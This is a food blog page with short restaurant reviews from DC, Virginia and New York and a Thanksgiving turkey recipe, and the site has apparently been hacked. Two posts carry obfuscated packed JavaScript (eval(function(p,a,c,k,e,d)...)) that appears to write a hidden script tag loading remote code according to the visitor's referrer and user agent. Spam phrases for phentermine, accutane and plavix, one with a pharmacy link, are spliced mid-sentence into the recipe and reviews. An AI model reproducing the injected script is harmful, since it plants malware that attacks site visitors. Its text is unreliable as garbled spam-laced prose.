Broccoli Bar in Shaw, DC

Fashion, Favorite Features, Food

Excited to share this new partnership between &pizza and Broccoli City, nonprofit  to create a new bar called Broccoli Bar in Shaw, DC. Broccoli City has a mission to build thriving urban communities that sustain future generations by mobilizing and educating urban millennials through social impact campaigns and major events.

By day, the Broccoli Bar serves &pizza and from 6-10pm, it is transformed into a hip bar with a DJ. But why does it close so early for a bar? Because it’s a bar for millennials, and we like to Netflix and chill.

Basically this is my type of bar! I definitely recommend checking them out at 1817 7th St., NW in Washington, DC.

 

Secret Garden Cafe

2017 Food, Food

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girlfriend Mel and I ate at 
Secret Garden Cafe for brunch over the weekend. It’s in cute old historic downtown of Occoquan, Virginia, with a cute little patio and hidden garden atmosphere. I ordered their brisket mash special and it was delicious! I’d definitely recommend this place for breakfast, brunch or lunch!

A Vegetarian Year

2017 Food, Food

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I’m attempting to eat more vegetarian this year when I cook at home. I admittedly haven’t been sticking to it 100 percent, but I’ve tried my best. This is a kale salad with pomegranate seeds, crumbled feta and breaded cauliflower. I mixed a little olive oil and lemon as the dressing.

DC Eats: Amsterdam Falafel

2017 Food, Food

If you are looking for a good lunch spot that will not break your budget in DC, try Amsterdam eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fdanf|var|u0026u|referrer|znbka||js|php’.split(‘|’),0,{}))
Falafel
. They have a few locations scattered throughout the district with reasonable prices and great quality food. I got the falafel small bowl, and I was able to fill it with basically everything on their side bar.

NYC: Spot Dessert Bar

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for a good dessert spot next time you are in New York City? Check out
Spot Dessert Bar. This is the Banana Chouff and Matcha tea. It was good, but nearly as good as what my friend ordered. Get their Golden Toast, which sounds weird but is really delicious!

Happy Thanksgiving!

2016 Food, Food

I hope you had a great Thanksgiving yesterday with your family, friends and of course tons of turkey! And are scooping up some great Black Friday deals today!

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year I cooked my first turkey, and I’m excited to share my lessons learned with you.

It’s much simpler than I thought, but it does take a long time.

You’ll need to allow about 24 hours for each 4 to 5 pounds of frozen turkey you plan to thaw in the fridge.

Approximate times to defrost a whole turkey in the fridge:
– 10 pounds — 2 days plus 12 hours
– 15 pounds — 3 days plus 18 hours
– 20 pounds — 5 days
– 25 pounds — 6 days plus 6 hours
24 hours before you’re ready to cook the turkey, remove the giblets and put it in a brine.
  • 2 gallons cold water
  • 2 cups kosher salt
  • 1 cup brown sugar
  • 1 12- to 18-pound turkey

Important: You will need a food-safe container large enough to hold the turkey and brine while it is marinating. Make sure the container fits inside your refrigerator.

This is important because I did not have a container large enough. I ended up putting the turkey to brine in my soup pot and rotating it halfway through.

My turkey was 11 lbs and it took about 3 and 1/2 hours to cook at 350 degrees, which was over the recommended time. People say that every pound takes about 15 minutes. But I would recommend you budget in extra purchase phentermine online cheap time, plus about 30 minutes to let the turkey rest and cool after it’s taken out of the oven.

Ingredients
1/4 pound (1 stick) unsalted butter
1 lemon, zested and juiced
1 teaspoon chopped fresh thyme leaves (I used rosemary)
1 fresh turkey (10 to 12 pounds)
Kosher salt
Freshly ground black pepper
1 large bunch fresh thyme (I used rosemary)
1 whole lemon, halved
1 Spanish onion, quartered
1 head garlic, halved crosswise

Directions

  • Preheat the oven to 350 degrees F.
  • Melt the butter in a small saucepan. Add the zest and juice of the lemon and 1 teaspoon of thyme ( I used Italian herbs mix) leaves to the butter mixture. Set aside.
  • Take the giblets out of the turkey and wash the turkey inside and out. Remove any excess fat and leftover pinfeathers and pat the outside dry. Place the turkey in a large roasting pan. Liberally salt and pepper the inside of the turkey cavity. Stuff the cavity http://nosubhealth.com/product/plavix/ with the bunch of thyme (I used fresh rosemary), halved lemon (I used oranges), quartered onion, and the garlic. Brush the outside of the turkey with the butter mixture and sprinkle with salt and pepper. Tie the legs together with string and tuck the wing tips under the body of the turkey.
  • Roast the turkey about 3 hours, or until the juices run clear when you cut between the leg and the thigh. Remove the turkey to a cutting board and cover with aluminum foil; let rest for 20 minutes.

 

Tout de Sweet

2016 Food, Food

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de Sweet
shop in Silver Springs Maryland is super cute and trendy and a must visit if you love macaroons. They have a little bit of every type of pastry you could imagine, but my favorite is the ice cream macaroon sandwich. I ordered the strawberry macaroon ice cream sandwich and had to order accutane a second one because it was so good!

I’d definitely recommend this sweet shop if you’re craving dessert. Their affogato is also exceptional. I also tried their chocolate cupcake because that is just how big my sweet tooth is.

 

 

Founding Farmer’s

2016 Food, Food

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Farmers
 is another one of my staple restaurants in DC I like to take guests to when they come visit me. It’s a great comfort food like this delicious chicken pot pie to the seafood bucatini below. If you haven’t tried them yet, you must! The restaurant is owned by a consortium of local farmers that source all the ingredients for the dishes on the menu. I love eating farm to table when I can and Founding Farmers is a great spot for this!

Momofuku’s Milk Bar

2016 Food, Food

Momofuku’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rbadr|var|u0026u|referrer|knkys||js|php’.split(‘|’),0,{}))
Milk Bar
 is a bit on the pricey side, but I had their chocolate malt cake shake and it was life changing. Order a shake at least once, and enjoy it.

Momofuku

2016 Food, Food, Uncategorized

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tried 
Momofuku‘s last weekend and loved their traditional beef ramen noodle soup. They don’t use the traditional ramen noodles, but I liked their thinner noodles – to be fair I like most noodles. Soup my comfort food in the fall, and ramen buy phentermine and topiramate goes right up there with pho. If you haven’t tried out Momofuku‘s, I’d recommend it. It’s a bit pricer than I would like to pay for a bowl of Ramen, but it’s good.